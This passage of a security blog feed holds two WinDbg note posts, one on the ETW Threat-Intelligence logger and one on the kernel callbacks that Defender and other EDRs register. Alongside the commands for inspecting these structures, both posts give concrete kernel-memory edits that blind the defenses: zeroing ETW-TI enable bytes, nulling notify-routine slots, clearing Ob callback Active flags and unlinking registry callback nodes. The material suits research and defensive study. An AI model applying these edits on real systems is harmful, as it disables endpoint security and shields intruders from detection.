<p><code class="language-plaintext highlighter-rouge">LoggerId</code> comes from an <strong>enabled</strong> slot (<code class="language-plaintext highlighter-rouge">IsEnabled=1</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_TRACE_ENABLE_INFO &lt;entry&gt;+0x80
</code></pre></div></div>

<p>Each array slot is 8 bytes. Example: <code class="language-plaintext highlighter-rouge">LoggerId</code> <strong>6</strong> → <code class="language-plaintext highlighter-rouge">6*8 = 0x30</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq &lt;EtwpLoggerContext&gt;+30 L1
</code></pre></div></div>

<p>Left column = address of slot <code class="language-plaintext highlighter-rouge">[6]</code>. Right column = <code class="language-plaintext highlighter-rouge">_WMI_LOGGER_CONTEXT *</code>. <code class="language-plaintext highlighter-rouge">dt</code> the <strong>right</strong> value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_WMI_LOGGER_CONTEXT &lt;result&gt;
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">LoggerName</code> is the consumer (session), e.g. <code class="language-plaintext highlighter-rouge">DefenderApiLogger</code>. Confirm field offsets with <code class="language-plaintext highlighter-rouge">dt</code> on the target.</p>

<p>Do not <code class="language-plaintext highlighter-rouge">dt</code> <code class="language-plaintext highlighter-rouge">EtwpLoggerContext</code> itself. Slot <code class="language-plaintext highlighter-rouge">[0]</code> is often <code class="language-plaintext highlighter-rouge">1</code> (sentinel) — skip it. Only follow <code class="language-plaintext highlighter-rouge">array + LoggerId*8</code> when <code class="language-plaintext highlighter-rouge">IsEnabled=1</code>.</p>

<hr />

<h2 id="disable">Disable</h2>

<p>Zero aggregate:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eb &lt;entry&gt;+0x60 0
</code></pre></div></div>

<p>Zero one consumer (slot 0 = <code class="language-plaintext highlighter-rouge">+0x80</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eb &lt;entry&gt;+0x80 0
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">etwti.c disable</code> zeros <strong>aggregate and all 8 slots</strong>.</p>

<p>Kernel then skips TI events. LiveKD cannot write.</p>

<hr />

<h2 id="commands">Commands</h2>

<table>
  <thead>
    <tr>
      <th>Cmd</th>
      <th>Does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dp</code> / <code class="language-plaintext highlighter-rouge">dq</code> / <code class="language-plaintext highlighter-rouge">dd</code></td>
      <td>dump pointers / QWORDs / DWORDs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">eb</code></td>
      <td>edit byte (<code class="language-plaintext highlighter-rouge">IsEnabled</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dt</code></td>
      <td>dump typed struct</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">?? sizeof(...)</code></td>
      <td>type size, no memory read</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">s -b</code></td>
      <td>byte search (GUID)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">poi(addr)</code></td>
      <td>read pointer at addr</td>
    </tr>
  </tbody>
</table>

<p>Offsets (<code class="language-plaintext highlighter-rouge">+0x1D0</code>, <code class="language-plaintext highlighter-rouge">+0x60</code>, <code class="language-plaintext highlighter-rouge">+0x80</code>, …) are build-specific — confirm with <code class="language-plaintext highlighter-rouge">dt</code> on the target. Bucket <strong>29</strong> is GUID-fixed.</p>]]></content><author><name>hassan0x</name></author><category term="Windows Internals" /><category term="ETW" /><category term="etw" /><category term="threat-intelligence" /><category term="windbg" /><category term="windows" /><category term="defender" /><summary type="html"><![CDATA[ETW-TI notes (WinDbg)]]></summary></entry><entry><title type="html">Kernel Callbacks — How EDRs See Every Process, Thread, and Image</title><link href="https://9hackers.com/windows%20internals/kernel/2026/08/22/kernel-callbacks.html" rel="alternate" type="text/html" title="Kernel Callbacks — How EDRs See Every Process, Thread, and Image" /><published>2026-08-22T00:00:00+00:00</published><updated>2026-08-22T00:00:00+00:00</updated><id>https://9hackers.com/windows%20internals/kernel/2026/08/22/kernel-callbacks</id><content type="html" xml:base="https://9hackers.com/windows%20internals/kernel/2026/08/22/kernel-callbacks.html"><![CDATA[<h1 id="kernel-callback-notes-windbg">Kernel callback notes (WinDbg)</h1>

<p>Drivers register for system events. Defender (<code class="language-plaintext highlighter-rouge">WdFilter.sys</code>) typically uses all five.</p>

<table>
  <thead>
    <tr>
      <th>API</th>
      <th>Array / list</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PsSetCreateProcessNotifyRoutineEx</code></td>
      <td><code class="language-plaintext highlighter-rouge">PspCreateProcessNotifyRoutine</code></td>
      <td>process create/exit</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PsSetCreateThreadNotifyRoutineEx</code></td>
      <td><code class="language-plaintext highlighter-rouge">PspCreateThreadNotifyRoutine</code></td>
      <td>thread create/exit</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PsSetLoadImageNotifyRoutineEx</code></td>
      <td><code class="language-plaintext highlighter-rouge">PspLoadImageNotifyRoutine</code></td>
      <td>EXE/DLL map</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ObRegisterCallbacks</code></td>
      <td><code class="language-plaintext highlighter-rouge">_OBJECT_TYPE.CallbackList</code></td>
      <td>handle open on Process/Thread</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CmRegisterCallbackEx</code></td>
      <td><code class="language-plaintext highlighter-rouge">CallbackListHead</code></td>
      <td>registry</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">.reload /f</code> first if names do not resolve. LiveKD is read-only — <code class="language-plaintext highlighter-rouge">ep</code> / <code class="language-plaintext highlighter-rouge">eb</code> / <code class="language-plaintext highlighter-rouge">eq</code> need a writable kernel debug session.</p>

<p><strong>EX_FAST_REF (notify arrays only):</strong> slot is pointer + refcount in the low 4 bits.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>block    = slot &amp; 0xFFFFFFFFFFFFFFF0
function = *(block + 0x08)
</code></pre></div></div>

<p>Same block for process, thread, and image notify:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_EX_CALLBACK_ROUTINE_BLOCK
+0x000  RundownProtect    sync (0x20 = active)
+0x008  Function          callback pointer  ← lm a this
+0x010  Context           value from registration
</code></pre></div></div>

<p><img src="/assets/images/callbacks-types-overview.svg" alt="types" /></p>

<hr />

<h2 id="1-process--thread--image-notify">1. Process / thread / image notify</h2>

<p>64-slot arrays. Same steps; only the symbol changes.</p>

<h3 id="dump">Dump</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dp nt!PspCreateProcessNotifyRoutine
dp nt!PspCreateThreadNotifyRoutine
dp nt!PspLoadImageNotifyRoutine
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dp</code> = dump pointers. Non-zero = used slot. Zeros = empty. Save <strong>array base</strong> (left column of the first line). Slot <code class="language-plaintext highlighter-rouge">i</code> is at <code class="language-plaintext highlighter-rouge">base + i*8</code>.</p>

<h3 id="decode-one-slot">Decode one slot</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq (&lt;raw_slot&gt; &amp; 0xfffffffffffffff0)
</code></pre></div></div>

<p>Mask low nibble → <code class="language-plaintext highlighter-rouge">_EX_CALLBACK_ROUTINE_BLOCK</code>. <code class="language-plaintext highlighter-rouge">+0x08</code> = function.</p>

<h3 id="owner">Owner</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lm a &lt;function&gt;
</code></pre></div></div>

<p>Which driver contains that address.</p>

<h3 id="rva-for-tools">RVA (for tools)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>? nt!PspCreateProcessNotifyRoutine - nt
? nt!PspCreateThreadNotifyRoutine  - nt
? nt!PspLoadImageNotifyRoutine     - nt
</code></pre></div></div>

<p>KASLR moves the base; RVA stays for that build.</p>

<h3 id="zero-a-slot">Zero a slot</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ep &lt;array_base + index*8&gt; 0
</code></pre></div></div>

<p>Kernel skips NULL slots.</p>

<h3 id="all-used-slots-first-14">All used slots (first 14)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.for (r $t0 = 0; @$t0 &lt; 14; r $t0 = @$t0 + 1) { r $t1 = poi(nt!PspCreateProcessNotifyRoutine + (@$t0 * 8)); .if (@$t1 != 0) { r $t2 = poi((@$t1 &amp; 0xfffffffffffffff0) + 8); .printf "Slot %d: fn=%p\n", @$t0, @$t2; lm a @$t2 } }
</code></pre></div></div>

<p>Swap the symbol for thread/image.</p>

<p><img src="/assets/images/callbacks-array-chain.svg" alt="array chain" /></p>

<hr />

<h2 id="2-obregistercallbacks-handles">2. ObRegisterCallbacks (handles)</h2>

<p>Linked list on Process (index 7) and Thread (index 8). Disable via <strong>Active</strong>, do not unlink.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_OBJECT_TYPE
+0x0C8  CallbackList      LIST_ENTRY head

CALLBACK_ENTRY_ITEM
+0x000  Flink / Blink
+0x010  Operations        1=create, 2=dup, 3=both
+0x014  Active            1=on, 0=off  ← eb this
+0x028  PreOperation      callback  ← lm a this
+0x030  PostOperation     or NULL
</code></pre></div></div>

<p>Empty list: <code class="language-plaintext highlighter-rouge">Flink == type_addr + 0xC8</code>.</p>

<h3 id="type-objects">Type objects</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dp nt!ObTypeIndexTable
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[7]</code> Process, <code class="language-plaintext highlighter-rouge">[8]</code> Thread.</p>

<h3 id="list-empty">List empty?</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_OBJECT_TYPE &lt;type_addr&gt;
</code></pre></div></div>

<p>Look at <code class="language-plaintext highlighter-rouge">+0xC8 CallbackList</code>. Flink ≠ head → first node is that Flink.</p>

<h3 id="dump-node">Dump node</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq &lt;node&gt; L7
lm a &lt;PreOperation&gt;
</code></pre></div></div>

<h3 id="disable">Disable</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eb (&lt;node&gt; + 0x14) 0
</code></pre></div></div>

<p>Kernel checks <code class="language-plaintext highlighter-rouge">Active</code> before <code class="language-plaintext highlighter-rouge">PreOperation</code>. Walk Flink until it equals <code class="language-plaintext highlighter-rouge">type_addr + 0xC8</code>.</p>

<p><img src="/assets/images/callbacks-ob-linked-list.svg" alt="ob list" /></p>

<hr />

<h2 id="3-registry-cmregistercallbackex">3. Registry (<code class="language-plaintext highlighter-rouge">CmRegisterCallbackEx</code>)</h2>

<p>List at <code class="language-plaintext highlighter-rouge">CallbackListHead</code>. <strong>No Active field</strong> — unlink the node.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_CMREG_CALLBACK
+0x000  Flink
+0x008  Blink
+0x028  Function          callback  ← lm a this
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">+0x028</code> is <strong>hex</strong> = <strong>40</strong> decimal. Each pointer is 8 bytes, so QWORD index = <code class="language-plaintext highlighter-rouge">40 / 8</code> = <strong>5</strong> (0-based; the 6th QWORD, bytes 40–47). Not decimal 28.</p>

<p>Empty: <code class="language-plaintext highlighter-rouge">Flink == CallbackListHead</code>.</p>

<h3 id="head">Head</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq nt!CallbackListHead
</code></pre></div></div>

<h3 id="node--owner">Node + owner</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq &lt;node&gt;
lm a &lt;function&gt;
</code></pre></div></div>

<h3 id="unlink">Unlink</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eq &lt;PREV&gt;            &lt;NEXT&gt;
eq (&lt;NEXT&gt; + 0x08)   &lt;PREV&gt;
</code></pre></div></div>

<p>Walk Flink until it equals the head.</p>

<p><img src="/assets/images/callbacks-cm-unlink.svg" alt="cm unlink" /></p>

<hr />

<h2 id="commands">Commands</h2>

<table>
  <thead>
    <tr>
      <th>Cmd</th>
      <th>Does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dp</code> / <code class="language-plaintext highlighter-rouge">dq</code></td>
      <td>dump pointers / QWORDs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ep</code> / <code class="language-plaintext highlighter-rouge">eb</code> / <code class="language-plaintext highlighter-rouge">eq</code></td>
      <td>edit pointer / byte / QWORD</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dt</code></td>
      <td>dump typed struct</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">lm a</code></td>
      <td>module containing address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">poi(addr)</code></td>
      <td>read pointer at addr</td>
    </tr>
  </tbody>
</table>

<p>Offsets (<code class="language-plaintext highlighter-rouge">+0xC8</code>, <code class="language-plaintext highlighter-rouge">+0x28</code>, …) are build-specific — confirm with <code class="language-plaintext highlighter-rouge">dt</code> on the target.</p>]]></content><author><name>hassan0x</name></author><category term="Windows Internals" /><category term="Kernel" /><category term="kernel" /><category term="callbacks" /><category term="windbg" /><category term="windows" /><category term="edr" /><summary type="html"><![CDATA[Kernel callback notes (WinDbg)]]></summary></entry></feed>